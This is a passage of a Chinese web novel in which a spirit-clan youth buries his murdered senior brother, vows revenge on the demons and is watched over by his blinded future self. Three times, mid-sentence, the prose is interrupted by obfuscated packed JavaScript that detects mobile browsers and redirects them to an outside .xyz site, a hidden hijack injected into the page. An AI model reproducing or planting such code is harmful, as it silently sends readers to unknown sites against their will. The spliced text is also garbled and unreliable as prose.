“你的意思是,妖族受伤,想偷神药?”林沧蹙眉道。 “正是。”钟怀仁叹道,“哪怕是妖族求药,我也会双手奉上,何必偷窃,更何况杀人放火……” “妖族妖力泄露,惊动白鸽,宁泉宗立刻赶来,期间没有……杀死师兄的时间。”林沧强行压下心中的痛楚,咬牙说道,“我明白了。我与师兄下午接触过,妖族为了我的心脏,循着气味找到师兄,师兄打伤妖族,妖族受伤行动不便,不愿惊动别人,潜入医馆偷窃神药,却不慎泄露妖力,惊动白鸽,于是故意纵火,分散注意力,趁机逃走。” “好一个金蝉脱壳,狡猾至极!”宁泉宗三师兄听完林沧的话,又惊又怒,狠狠啐了一口。 “中计了。想必此刻,妖族早已逃远,再想抓到他就难了。”钟怀仁叹道。 “哪怕逃到天涯海角,我也会手刃妖族,为师兄复仇。”林沧冷冷地说道。 连林沧的师兄都惨遭杀害,若是林沧落败,妖族得到灵族心脏,那就无人能敌了。 宁泉宗三师兄不知道林沧身为灵族,实力与霍君生不可同日而语,忍不住担心林沧不敌妖族,刚想出言提醒两句,林沧忽然转身,向霍君生的尸首走去。 宁泉宗三师兄张了张嘴,最终暗叹一声,闭上了嘴巴。 他没有任何立场阻止林沧。 此时此刻,林渊有点懵。 不知为何,他视力下滑得很严重。刚刚林沧忽然转身,衣袖从掌中溜走,林渊站在原地,眯起眼睛努力辨认,然而宁泉宗三师兄、钟怀仁还有他的两个学徒,再加上宁泉宗走来走去的灵修,在他眼中都是差不多的黑影,怎么也分辨不出哪个才是林沧。 照理说……林沧应该是最高的那一个。 林渊自信地迈步,然后摸到了一段焦黑的树木。 所以他们为什么都不说话。 林渊尴尬地收回了手。 “我在这里。” 青年沙哑的声音在斜后方响起,紧接着,林渊感到有人握住了他的手腕。 那只手比林渊刚刚摸到的焦木好不了多少,掌心粗砺,几乎能感觉到硌人的掌骨。 是林沧受伤的那只手。 林渊一抖,怕林沧忍痛,不料却被抓得更紧,腕骨隐隐作痛。 “别走丢了。”明明是关切的话语,林沧的声音却毫无起伏。 林渊感受到青年正处于一种极其不稳定的状态,便任由林沧握着他的手腕,不再作声。 林沧空出完好的那只手是有原因的。 青年面无表情,唯有微微抿起的唇角流露出隐忍的痛苦。 地上散落的艾糍被林沧一个不落地拾了起来,青年手指灵活,垂着眼帘,仔仔细细单手包起艾糍,扎好绳结,放进了怀中。 林渊视野模糊,被林沧牵着手腕,思维放空,下意识数着林沧俯身捡拾的次数。 直到青年不再俯身,林渊忽然一怔。 少了两个艾糍。 7. 绝望 少了两个艾糍。 丢了么? 还是师兄在客栈吃掉了? 林渊微微困惑,刚想询问林沧是否遗漏,宁泉宗三师兄的声音忽然传来。 “喏,绳子。”一个黑影把一团黑乎乎的东西放在另一个黑影手中,“可以绑住林渊公子的手腕,以免走丢。” 那团黑乎乎的东西向林渊的手腕套来,密集的重影让林渊有点头皮发麻,不情不愿地挣扎了一下,然而反抗无效。 黑色的东西不断地在林渊腕上绕来绕去,明明是绳索粗糙的触感,林渊却觉得层层叠叠,数不胜数…… 算了。 好像云片糕。 林渊苦中作乐地想道。 林沧绑好绳子,打了个死结,不放心地又扯了扯,才松开了林渊的手。 天空破晓。 残留的妖气逐渐散去,盘旋在半空的白鸽失去目标,开始飞回宁泉宗。 “林公子,看来今天是找不到妖族了。”宁泉宗三师兄叹了口气,说道。 林沧咬了咬后槽牙,没有回答。 “可否借一只白鸽?”林渊忽然开口,“我听说白鸽拥有记忆,若是再次遇到相同气味的妖族,一定能够识别出来,所以如果方便的话,请借我们一只白鸽,用来追踪。” 林沧看向宁泉宗三师兄。 “自然无妨。”宁泉宗三师兄一口答应下来,略一犹豫,仿佛下了某种决心,从怀中取出一枚竹哨,放在了林沧手中。 林沧低头看着竹哨,试探性吹了一下,半空之中,一只雪白的鸽子立刻调转方向,向林沧飞来,落在了林沧的肩头。 “这只是我亲自驯养的白鸽,名唤‘阿白’,若论灵敏,在宁泉宗也排得上名号。”三师兄脸上浮现一丝不舍,说道,“今日便送给林公子,作为宁泉宗的礼物。” 白鸽仿佛听懂人言,冲三师兄“咕咕”叫了两声,在林沧肩头展了展翅膀。 “多谢。”林沧看了眼肩头洁白的小东西,没有推辞,低声谢道。 “不客气,我之前说过了,我们灵修宗门,誓死追随世间最后一个灵族。”宁泉宗三师兄笑笑,忽然想起了什么,说道,“从东边出镇,方圆十里都是宁泉宗的地盘,林公子可以将霍公子安葬在那里,我宁泉宗保证绝对无人胆敢叨扰。” “……多谢。”林沧脸颊的肌肉痉挛了一下,又有一丝血腥气涌上喉头。 “逝者已逝,林公子节哀。”宁泉宗三师兄说着,想伸手拍拍林沧的胳膊安慰一下,转念想到其实他与林沧其实并不熟悉,最终也没有抬手,长叹一声,转身拉着钟怀仁,去处理医馆的残局了。 林沧目送三师兄等人离开,沉默地站在霍君生的尸首旁边,一动不动,仿佛一尊雕塑。 “走罢,去葬了师兄。”林渊拽了拽绳子,说道。 手中的绳子传来拉扯的感觉,林沧仿佛骤然惊醒,明明只沉默了片刻,但却像过了数十载那么久。 林沧回头,看向林渊。 苍白得好像快要死掉的男子沉静地站着,哪怕是旭日,也无法在林渊的脸上镀上一抹暖色。 他的表情既不是惯常的散漫,也不是之前不经意间流露出来的疯狂,而是…… 溢出了沉痛。 仿佛是,那些沉痛太多了,多到再也无法掩盖,于是悄悄溢了出来,无声无息地堆叠在眼角眉梢。 他也在为师兄而难过吗? 林沧怔怔地想道。 “葬了师兄,然后,复仇。”林渊语气平缓,看着林沧,慢慢地说道,“如今的你,还有第二种选择吗?” 林沧没有立刻回应。 林渊的视线并没有落在他的脸上,而是再次将焦木错认为他,对着一截枯木说话。 但林沧还是点了点头,在林渊捕捉到动态尴尬地转过头来后,又认真地说了一声,“好。” 林沧渐渐发现,林渊所经历过的,比他之前想象中的还要多得多。 他并不是天性凉薄,只是已经见过太多。 也许曾经有人,像这样在他身边逝去。他也曾崩溃过,痛苦过,最终挣扎到了正确的道路。 他说,振作起来,好好复仇。 林沧上前一步,抱起了霍君生的尸首。 是了,他要振奋精神,为师兄复仇。 错的不是他。 是那些得不到他的心脏,就滥杀无辜的妖族。 林沧重重吐出一口浊气,刚想迈步—— 一片翠绿的柳叶,忽然从霍君生的衣袖中,飘了出来。 细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810378|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫩的柳叶。 在半空中旋转。 旋转。 旋转。 轻飘飘地落在了地上。 林沧忽然觉得眼前一黑,反胃感刹那间从腹部升起,一直顶到喉咙。 “你放过了那个柳妖?” 那个时候,林渊这样问他。 “不过是个小女孩儿,还没我肩膀高,想要我的心脏而已,没必要杀她。” 他当时一时心软。 “如果柳妖去而复回,想要报仇的话……” 林渊担忧的模样历历在目。 林沧的呼吸骤然变得困难起来。 刚刚止血的下唇再次被他无意识咬破,殷红的鲜血顺着下颌淌到了霍君生青白色的脸上。 什么不是他的错。 狗屁不是他的错! 柳妖嗅觉灵敏…… 一定极为擅长追踪。 其实早该猜到的,他一路谨慎,几乎可以确定没有被妖族跟踪。哪怕有隐匿行踪的大妖,也不会这么巧合,偏偏在今日动手。 一切还有什么不明了的。 他一时心软,放走柳妖。 柳妖通风报信,带领大妖,寻找他的行踪。 却遇到了师兄。 他一时心软,放过了那个看似怯生生的小女孩儿,却害死了师兄。 还有什么可辩驳的。 他的心脏是罪孽的根源。 他本人的疏忽则直接导致了惨剧的发生。 一切。 一切都是。 他…… 林沧的身子晃了晃,险些跌倒,却怕摔着怀里的霍君生,硬生生稳住了身形。 “师兄……我……”林沧低垂着头,看着面目狰狞的霍君生,明明浑身热得像快要爆炸的火球,牙关却仿佛身处数九寒天止不住地打颤,“我,我……” 他什么也说不出口。 林渊看不清楚。 林渊不知道发生了什么。 林渊只听到了林沧仿佛从骨头缝里挤出来的声音。 绝望。 怎么回事。 林渊慌了。 到底是怎么回事。 他费尽心思扯住的林沧。 ……怎么,还是绝望了。 8. 初遇 至亲之人离去,所带来的伤痛,其实是慢慢渗透的。 林渊非常明白这一点。 ……因为他曾经历过很多。 大多数时候,刚开始仍能够保持正常的行动能力,但以后无数次午夜梦回,至亲之人的音容笑貌在脑海中盘桓,痛苦会慢慢把人吞噬,好像冰冷的湖水缓慢浸没口鼻,明明窒息,却动弹不得。 可是。 可是如果一开始就把罪责归咎于自己的话…… 午夜梦回,名为“自疚”的小鬼会准时前来,勾走你的性命。 林渊曾经很羡慕那些逝去的人。 因为他们不用经历活着的人的痛苦。 而他却必须在清醒中挣扎,在挣扎中迷蒙,一呼一吸都提醒他还活着,一呼一吸都起伏着胸腔撕裂般的痛。 那时候的他,多希望时间过得快一点。 再快一点。 让他快一点,拥抱那个注定的结局。 微风卷起,林渊感觉眼前划过一抹绿意,伸手抓住那抹绿,细嫩的触感传来,是一枚修长的柳叶。 林渊刹那间明白了。 为什么林沧会突然绝望。 是因为那个柳妖。 错了。应该杀死那个柳妖的。 他前世与妖族厮杀了一辈子,早该知道,没有一个妖族能在见过灵族心脏之后,会乖乖放弃,无动于衷。 林渊抿了抿唇,丢掉那片柳叶,向前走了一步。 林沧抱着霍君生的尸首,身形一晃,忽然消失了。 林渊感到腕间的绳子垂了下去。 林渊皱起了眉头。 “林沧,我知道你还没有走。”林渊站在原地,风扬起他的衣袂,明明虚弱得很,却偏偏挺拔如竹。 无人回应。 “不要想着甩掉我,这是我自己选的路。” 无人回应。 “我会不后悔。你也无权,替我作出决定。” 仍然无人回应。 林渊语气加重。 “这条路,无论你答不答应,我一定要与你走下去。” 风停了,林渊却感到腕间的绳子微微晃动,有人牵起了绳子的另一头。 青年的身影重新出现,声音发飘,如同幽魂。 “走吧,去葬了师兄。” - 霍君生葬在郊外。 林沧亲手书写了墓碑。 指尖一笔一划,深深地刻印在光滑的石碑上。 那包艾糍,林沧烧了,洒在霍君生墓前。 留下一个,施了不腐不坏的术法,用纸包好,放进了怀中。 “师兄。”林沧“扑通”一声,跪了下去。 “对不住。”林沧紧紧闭上了眼睛。 “黄泉路远。”林沧眼角滑下一滴血泪。 “一路珍重。”血泪无声无息地落入了泥土。 - “妖族不是想要我的心脏吗。”安葬完霍君生,林沧平静地说道,“那我就做诱饵,等他们来找我。” 林渊闻言,摇了摇头,不赞同道,“你不能在此地继续逗留,灵族的消息已经散播出去,妖族聚集而来,我知道你实力高强,但寡不敌众,待在这里无异于白白送死。” “我会远离竹白镇,不连累任何百姓。” “不行,你的行踪已经暴露,到时候来的,可不止害死师兄的妖族。”林渊迅速反驳,“隐匿行踪的大妖受伤遁走,养好伤之前,不会轻易出现。如果你定要在此地逗留,说不定在大妖找你之前,已经被其他妖族捷足先登,瓜分完你的心脏了。” “……”林沧沉默了下去,一双黑眸定定地看着林渊,其中仿佛有深潭翻涌。 林渊看不到林沧的神情,见林沧没有回答,以为林沧被自己说动了,于是继续说道,“现在最好的选择是迅速离开竹白镇,至于杀害师兄的大妖,有阿白在,不必太过担心,迟早能够抓到。我倒是有个法子,妖族隐匿气息需要耗费妖力,而潜入竹白镇的至少有柳妖和大妖两只妖族,等他们感觉安全之后,自会解除隐匿,我们只要围绕竹白镇向外寻找,找到妖族气息重新出现的那个点,顺藤摸瓜,就能抓到大妖了。” 林渊说完,看着一动不动的林沧,总结道,“如何,是不是比守株待兔要好上许多?” “林瞎子,别再对树说话了。”旁边的黑影叹了口气,在林渊略显尴尬的神情中,“刺啦”一声,从本就残破不堪的衣袖上撕下一条黑布,抬手,蒙在了林渊眼睛上。 柔软的黑布带着淡淡的血腥气,绕过林渊的眼睛,在后脑打了个松紧适中的结。 林沧的手在抖。 林渊看不到林沧的表情,但是从那双掌心滚烫,指尖冰凉,昔日灵活,可如今打结都有些艰难的手上,林渊窥见了青年的内心。 林渊喉咙一紧。 上一世,他曾经走火入魔,险些丧命。 而现在林沧的状态…… 林渊借着黑布遮挡,用力闭了闭眼睛,努力让自己的语气带了些云淡风轻的味道。 “林沧,我饿了。” 林渊如是说道。 “能不能,带我去吃点东西?” ——不要再想了。行动起来,去做点事情吧。 林渊没有高高在上地安慰,没有发号施令,没有指导林沧要如何如何调节心情。 他只是轻轻扯了扯绳子,带着惯常的散漫与一点点委屈,向林沧提出一个微不足道的要求。 而这样,就目前来说,已经足够了。 他无法一蹴而就。 林沧依旧沉默地看着林渊,鬼使神差地,他的心脏竟然慢慢地平静了下来。 滔天的恨意与疯狂的内疚缓缓沉入湖底,没有消失,只是短暂地沉没下去,但足以让清醒与理智悄悄上浮,在脑海中占据了一席之地。 “好。” 他听到自己这样回答道。 晌午日头正盛,林沧隔着一条不长不短的绳子牵着林渊,旁边一只雪白的鸽子沐浴阳光,扑棱着翅膀飞来飞去。 官道空寂。 一个青年,一个瞎子,一只鸽子。 向竹白镇的反方向走去。 林渊从未有过失明的体验,但林沧在他身前半步的距离,引着他避开所有障碍,林渊没走几步,就感到了前所未有的安心。 他相信林沧,更是相信他自己。 至于突如其来的失明,林渊并没有放在心上。失去了心脏的灵族,哪怕是忽然死掉也不稀奇。 说到底,他还能活着,都是因为死前那个“愿”。 灵族剖心,实为献祭,可以实现一个发自内心的“愿”。 他本以为自己没有愿。 可是生命的最后,他怔怔地看着自己鲜血淋漓的心脏,那样鲜活的心脏,健康、顽强,至死仍在努力地跳动。 那一刻,他忽然萌生了无比深切的“愿”。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810379|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救救自己吧。】 林渊这样想道。 哪怕避不开剖心献祭,哪怕注定要拥抱死亡,至少活着的时候,不要那么苦了。 他这一生,实在是糟糕透了。 就算是为了那种“拯救世人”的理由去死,就算没人记得他,没人为他感动,没人为他难过…… 他也不在乎。 怎么可能不在乎。 而且亲手切开自己的胸膛,真的很痛啊。 所有的力气一瞬间就被抽干了。连眼皮都撑不起来。 林渊昏昏沉沉地闭上了眼睛。 再次睁开眼睛的时候,他的面前是一个桀骜不驯的青年。 青年刚刚离开灵界,离开支离破碎的师门,站在人群中,浑身散发着浓郁到化不开的阴翳,无差别排斥着所有接近他的人。 人间的热闹与他无关,人群不由自主地避开他,在他的身后又汇聚起来,仿佛海水绕过有棱有角的礁石。 而青年只是倔强地站着,目光凶狠,仿佛一匹嗜血的孤狼。 只有林渊知道,青年才不是嗜血的孤狼。 他其实早就作出决定了,为了保护这个世界,献祭自己的心脏。 他只是有点受伤。 彼时的林渊怔怔地站在林沧面前,在林沧眼中,他只是一个过路人。 在林沧面前短暂地停留。 于是林沧随意地打量了他一下。 相貌俊雅,却看不出年龄。面容苍白,也许有什么隐疾。素色的衣着,胸口绽开大片大片的血花,血花已经干涸,透着死寂的黑色。 足以致死的出血量。 林沧顿了一下,随后漠不关心地移开了眼神。 与他何干。 反正一转眼,这个人就会消失在人海之中,不会为他而停留。 林渊站在原地,愣了许久才反应过来,抬手确认了一下脸颊,然后低头,摸了摸左手中指上翠绿色的指环。 这枚指环名叫“绾魂戒”,与他心意相通,曾经在机缘巧合中得到。 “绾魂戒”探知到他潜意识中不想被林沧认出来,于是在林沧看到他的第一眼,及时改变了他的容貌和衣着。 不过这素色的衣着…… 血迹实在太过显眼。 周围的人群纷纷绕开林渊,他的身边很快也变得空无一人,好像两块孤单的礁石,与林沧相对而望。 这样也好。 林渊想道。 这样他们就是一样的了。 许是林渊停留得太久,许是那片血迹太过扎眼哪怕是余光也能看到,许是像他们两个这样的“怪物”隔着几步距离对峙有那么一丝说不出的诡异…… 林沧的目光回到了林渊身上。 目光相触的那一瞬间,林渊努力适应着虚弱的身体,往前走了一步,冲曾经的自己露出了一个微笑。 有些生硬的微笑,因为他很少笑。 但他忽然作出决定,从此以后,面对林沧,一定不吝于露出最真诚的笑。 “你好,我叫林渊。” “渊”字,中间是水,左右为岸。 现编的名字,但是林渊很喜欢。 哪怕结局不可改变…… 他也想救赎曾经的自己,做他的岸。 青年显然没料到林渊竟然主动同他搭话,脸上划过一丝惊讶。 于是林渊的笑容扩大了些。 “我可以问问,你的名字吗?” 9. 陷落 “吃。” 林渊被林沧按在了木凳上。 林渊将蒙在眼上的黑布掀到额头,眯起眼睛,努力辨别一番,无奈地摇了摇头。 能把林沧和枯木认错,林渊能拿起木筷正常吃饭才是稀奇。 怕不会戳瞎别人的眼睛。 “林沧,要不你……帮帮忙?” 对面的青年沉默良久,久到林渊开始在抛弃形象与活活饿死之间纠结时,杯盘碰撞的声音在身边响起。 黑影,也就是林沧,搬着杯盘,从对面来到了他的身侧。 一道模糊的影子忽然靠近,香味瞬间放大,唇上传来硬硬的触觉。 是木筷。 还夹着一道闻起来很香的菜。 但林渊却顿住了。 “怎么?”林沧的声音响起。 “先喝水。”林渊说道。 “咔”的一声,林沧手里的木筷断了。 林沧用灵力维持着摇摇欲坠的木筷,勉强把夹着的菜放回盘中,下一刹那,木筷化为了齑粉。 “记得赔偿。”始作俑者满脸无辜,提醒道。 又是一阵漫长的沉默。 林渊仗着看不见,佯装不知道林沧的表情,心安理得地等待着。 最终,光滑的杯沿凑到了唇边。 温和的茶香扑鼻而来,林渊启唇,抿了一口。 淳润的口感微微苦涩,划过喉咙,回甘无穷。 但最重要的是,温度适中。 林渊明明听到了小二烧水泡茶的声音,应是烫口的温度,但是品尝起来,却温度正好。 答案显而易见,林沧用灵力散去了热度。 林渊垂下眼帘,就着林沧的手,一点一点,抿完了整杯茶。 林沧始终没有说话,没有催促林渊,也没有让林渊自己捧住茶杯。 直到林渊抿完最后一口。 “多谢。”林渊轻声说道,“麻烦你了。” “……嗯。”林沧放下茶杯,却猝不及防撞进了林渊鸦青色的眼眸。 明明没有落点,却仿佛只盛着他一个人。 麻烦。 真是麻烦。 恐怕以后都要照顾他了吧。 不过也多亏了这个麻烦。 他才觉得,除了那颗心脏,他还有活着的价值。 林沧觉得自己跌进了林渊的眼眸。 略带慌乱地急匆匆逃离那双鸦青色的眼睛,却不经意扫过了林渊淡色的薄唇。 茶水虽不滚烫,但热度也在林渊的唇上晕染了一抹淡红。 虽然不合时宜,但林沧却生出了逾矩的念头。 也许在经历生离死别之后,活下来的人会不由自主地接近对方吧。 相似的绝望,同样的痛楚,有着近乎致命的吸引力。 断不断袖已经无所谓了。 有些情绪,不会被鲜血浇灭,反而在理智摇摇欲坠的边缘,格外疯狂地恣意滋长。 盛放于浸血的土壤。 林沧好像听清了自己的心声。 像他这样无趣、无用、又狂妄无礼,还频频给身边人带来厄运的人。 得他心悦,何其有幸。 可惜留给他的时间不多了。 在拥抱那个注定的结局之前—— 抓住妖族,为师兄复仇。 弄清楚师娘给林渊刻的封印,重塑封印,治好林渊。 唯有这两件事,是非做不可的。 哪怕再绝望,也要拖着这具行尸走肉,将这两件事情完成。 如果、如果实在坚持不下去…… 林沧攥紧了茶杯。 就顺从自己的内心,耽误他一下吧。 反正他也说了。 路是他自己选的,与他同行,是他自己的决定。 林沧长长呼出一口气,就在林渊以为林沧终于不耐烦之时,喷香的菜肴碰到了他的嘴唇。 林渊勾了勾唇角,张口咬了下去。 在林沧眼中,却变了味道。 好像愿者上钩的鱼。 漫长的一顿饭,林渊都惊异于曾经的自己的耐性。 待林渊摇了摇头,示意自己吃好了以后,林沧才开始简单地果腹。 林渊发现,林沧并没有更换木筷。 注意到这一点,林渊莫名有点别扭,忍不住伸手,将额头乱七八糟的黑布往下拽了拽,重新盖住了眼睛。 林沧应该,没有察觉到他们是一个人……吧。 不换木筷只是忘了吧。 大概是被他气昏了头。 林渊努力回忆着曾经的自己的脾性,心虚地揣摩,却走向了完全错误的方向。 他忽然觉得失明有些麻烦了,便如此刻,他看不见林沧的神情。 可是如果他看得到青年的神情,一定会大吃一惊。 希望在绝望上生长。 又是一个黄昏,薄暮残阳。 残破沾血的衣物太过显眼,林沧拉着林渊走进成衣铺,打算买两身衣裳。 倒是出乎林沧的预料,林渊虽然病弱,拿软尺一量,体格竟然与他相差无几,高挑挺拔,各式衣物都能撑得起来,并不似林沧想象中那般瘦弱。 林沧依旧随便换了一袭玄黑劲装,但不知出于何种心态,给林渊拿了一件淡黄色的云锦长衫。 林渊接过长衫时,手指微不可查地顿了一下,然后带着惯常的散漫微笑,摆摆手示意林沧走开,怕林沧不理解,又指了指胸口。 “师娘……灵女封印时说,见不得光对吧。”林沧说道,“不是见不得人。” 林渊:“?” 林渊又不明白了。 有点跟不上曾经的自己的思路啊。 “我帮你。” 帷幕落下的声音,哪怕是林渊眼前蒙着黑布,也能感到周围暗了一个度。 林沧拉下幕帘,四周陷入了一片黑暗。 林渊来不及思考太多了,他有点着慌。 灵族拥有夜视能力,哪怕丝毫无光,林沧也能看清他胸膛上的伤口。 骨节分明的手扯开林渊的衣带,林渊努力去捉林沧的手,却由于失明,徒劳无功。 衣带散落,紧接着,林沧的手向他的衣襟探去。 林渊只来得及背过身去。 “你说过的,我随时可以拒绝。”林渊脑海中忽然划过一幅画面,脱口而出。 “……”林沧顿了一下,声音罕见地带上了一丝古怪的别扭,“我没有那个意思,这里毕竟是大庭广众……” 林渊再次没跟上林沧的思路。 什么大庭广众。 但林渊无暇多想。 刚刚背过身时,林沧的手指勾到了他的衣襟,衣物散开,露出了胸口的伤疤。 不过以林沧的反应,他应该没有看到。 “闭上眼睛。”林渊哑着嗓子,低声命令,“不许看。” 林沧一怔,目光落在林渊绷紧的肩颈上。扯开的衣领堪堪挂在林渊的肩头,散乱的黑发铺洒,只能看到隐约的肌肤。 “好。”林沧闭上了眼睛。 多少有些荒谬。 这下是两个瞎子了。 林渊知道林沧没有骗他,无声地叹了口气,转过身来,面对林沧。 如果林沧此刻睁眼,就会看到一道足有小臂长的狰狞伤疤,凹凸不平,深深烙印在林渊的胸膛上。 纵横的丑陋伤疤,遍布乱七八糟的针脚。 是林渊自己缝的。 他回来之后,尽管伤口不再出血,但是切开的伤口并没有愈合。 于是在那个深夜,林渊抽出衣服的粗线,削尖一根木针,随意而草率地把伤口缝了起来。 因剧痛而渗出的汗珠从他的侧脸滑落,汇集到下颌,一滴一滴落下,洇湿了散乱的衣物。 但他的神情没有丝毫变化,寡淡,甚至有些漫不经心。 草草缝完最后一针,林渊站起身来,伸展了下胳膊,确认针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810380|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线不会崩开之后,才撩起脖颈后方被汗水浸湿的黑发,把自己丢在了床榻之上。 啊,好想沐浴。 林渊此刻也这般想道。 密闭的空间中,血腥气格外浓郁,夹杂着烟熏火燎的气味,有些刺鼻。 林渊不紧不慢地除掉衣物,林沧抱着崭新的里衣和云锦长衫,紧闭双目导致听觉格外敏锐,布料摩擦的声音落在耳中,林沧感觉自己的脸颊不断地升温,突然,一只微凉的手碰到了他的鼻尖。 “啊,抱歉。”那人散漫的声音响起。 林沧的喉结滚动了一下。 “麻烦充当一下衣架吧。”林渊的声音再次响起,林沧觉得肩头微微一沉,林渊将衣物搭在了他的肩头。 “反正脏了,要衣架做什么。”林沧忽然说道,臂弯夹住长衫,抬手抖开里衣,破旧的衣物从肩头滑落,林沧说着,把里衣往林渊身上披去。 可惜是两个瞎子。 林沧预判错误,手背擦到了林渊温热的脖颈,林渊没忍住痒,下意识躲了一下,却因为动作幅度过大,撞到了林沧的怀中。 林沧一瞬间僵住了。 闭着眼睛,脑海却不由自主描绘出了林渊的模样。 赤着上身。 平坦洁净的胸膛。 流畅的腰线。 然后是…… 林沧感觉呼吸有些促,手腕却忽然被人捉住了。 “毕竟我瞎得比你久。”林渊轻笑一声,好像完全没被这种暧昧的气氛影响,指尖沿着林沧的腕骨,一路摸到手指,顺利地就着林沧的姿势,穿上了里衣。 “可以睁开眼睛了。”片刻之后,林渊说道。 林沧睁开眼睛,哪怕早有准备,还是撞进了林渊浅淡的笑容中。 他总能被林渊击中。 幕帘密不透光,夜视却无比清楚,林沧心如擂鼓,鬼使神差地凑了上去。 他们同高。 林沧屏住呼吸,离那两片微微勾起的薄唇越来越近。 只需再近一厘…… “好了,现在可以见光了。”林渊忽然开口,呼吸洒在林沧脸上,下一刹那,幕帘被林渊拽落,光线乍然射入,林沧瞳孔骤缩,猛地后仰,千钧一发之际,与林渊拉开了距离。 林渊毫无所觉,接过林沧手里的长衫,披在了身上。 林沧垂下眼帘,自觉地为林渊系好衣带,整理妥帖。 “怎么样,合适吗?”成衣铺老板热络地问道。 “合适。”林渊微微笑道。 “总共十两。”老板比了个手势。 林渊一怔,十两银子不是小数,林沧给他买这么贵的衣服? 可是林渊没来及说什么,林沧已经付了银钱,拽着他离开了成衣铺。 “累么?”林沧忽然问道。 “还行。”林渊答道。 “别逞强。”林沧声音微沉。 “什么都瞒不过你。”林渊无奈一笑。 “住店吧。”林沧说道。 “我还以为你要连夜寻找大妖的线索呢。”林渊挑眉。 “那是自然。”林沧冷冷道。 “嗯?”林渊脚步一顿。 “客栈等我。”林沧不容置疑地拉着林渊走进客栈,要了一间房,把林渊按在了榻上,“明早,若让我看到你还是眼底发青,之前的承诺就不作数了。” “啊。”林渊点头答应,但总感觉哪里怪怪的。 “你知道的,不作数的话……”林沧忽然伸手,握住林渊的脖颈,指腹重重擦过林渊的锁骨,“讨饶也没用。” “……” 黑布之下,林渊困惑地眨了眨眼睛。 是威胁吧。 不好好睡觉,就要杀了他吗。 曾经的自己真能说出这种毫无威慑力的威胁啊。 而且总感觉怪里怪气的。 林沧走了。 林渊坐在榻上,面对空无一人的客房,陷入了沉思。 10. 寻找 翌日。 林渊睁开眼睛,支起身子,打了个呵欠。 视野中依旧充斥着浓郁的黑雾,头脑昏沉,太阳穴也隐隐作痛。 “林沧?”林渊试探着唤道。 无人回应。 很好,还没回来。 林渊重新躺了回去。 然而不等林渊调整到一个舒适的睡姿,房门“吱嘎”一声,有人进来了。 于是林渊又支起了身子。 “林沧。”林渊再次唤道。 黑影没有回应,沉重的脚步声裹挟着清晨的凉气,林渊忽然感觉自己被紧紧抱住了。 那人把头埋进他的脖颈,微凉的侧脸骤然贴在他的皮肤上,林渊险些一个激灵,又硬生生把寒战的本能压了下去。 “没找到?”问句,但语气是肯定的。 “……找遍了,阿白就是不叫。”林沧沙哑的声音响起,炙热吐息压抑着怀疑与自责,悉数洒在林渊的颈窝上。 白鸽能通人言,在半空中扑棱了两下翅膀。 “你走了多远?”林渊问道。 “方圆百里,一个角落都没有落下。”林沧闷闷地道。 林渊虽然早有预料,但还是震惊了一瞬。 方圆百里。 一夜之间。 哪怕林沧是强大的灵族,也要燃烧生命才能办到。 可是尽管如此,仍然没有找到那只大妖。 怎么可能。 哪怕再为谨慎,逃出那么远的距离,也该露出行踪了,何况还受了伤。 那天不止一只妖族,都在大妖的庇佑下隐匿气息。白鸽虽然能通人言,但无法开口说话,无人知晓白鸽锚定的气息,到底属于哪只妖族,还是数只妖族皆有。 但无论是哪种情况,都不该一无所获。 而按照这种方式搜索,再继续下去,只会事倍功半,因为白鸽虽能记得大妖的味道,但随着时间推移,残留的妖气消散,白鸽也难以捕捉。 “有时候忍不住怀疑,那些都是一场梦。”林沧低声道,“我不曾遇到师兄,竹白镇不曾起火……该多好。” 林渊闻言,胸口发紧,用力抿了抿唇,忽然说道,“你小时候,我是说,在还有很多灵族的时候,如果有一个很厉害的灵族,不仅能打败强大的灵修,还能帮助别人隐藏气息,你会不知道吗?” 林沧一怔,抬起了头,与那双没有落点的鸦青色眼眸对上,“你的意思是……” “去捉一只妖族,问出大妖的名字。”林渊缓缓说道。 古木参天,林深叶茂。 “你确定这里,有妖族?”林沧跨过一条凸起的树根,黏腻的青苔又湿又滑,林沧认命地把林渊往上背了背,狐疑地说道,“你真的来过这里?” “来过,这里真的有妖族。”林渊散漫的声音在头顶响起,被背着的男子一点感恩心也没有,反而把下颏抵在林沧的头上,两条胳膊像没骨头一样在林沧身前晃来晃去。 “抱紧了。”林沧的声音带上了愠怒。 “好,好。”林渊分出一丝力气,环住林沧,漫不经心地发号施令,“如果我没记错的话,一直往东走,有一棵很大的榕树,看似生机勃勃,但是你仔细留意,就会发现那棵榕树已经死了,厚厚的苔藓掩住了早已朽烂的树干,我们要找的妖族,就盘绕在某一根树枝上。” 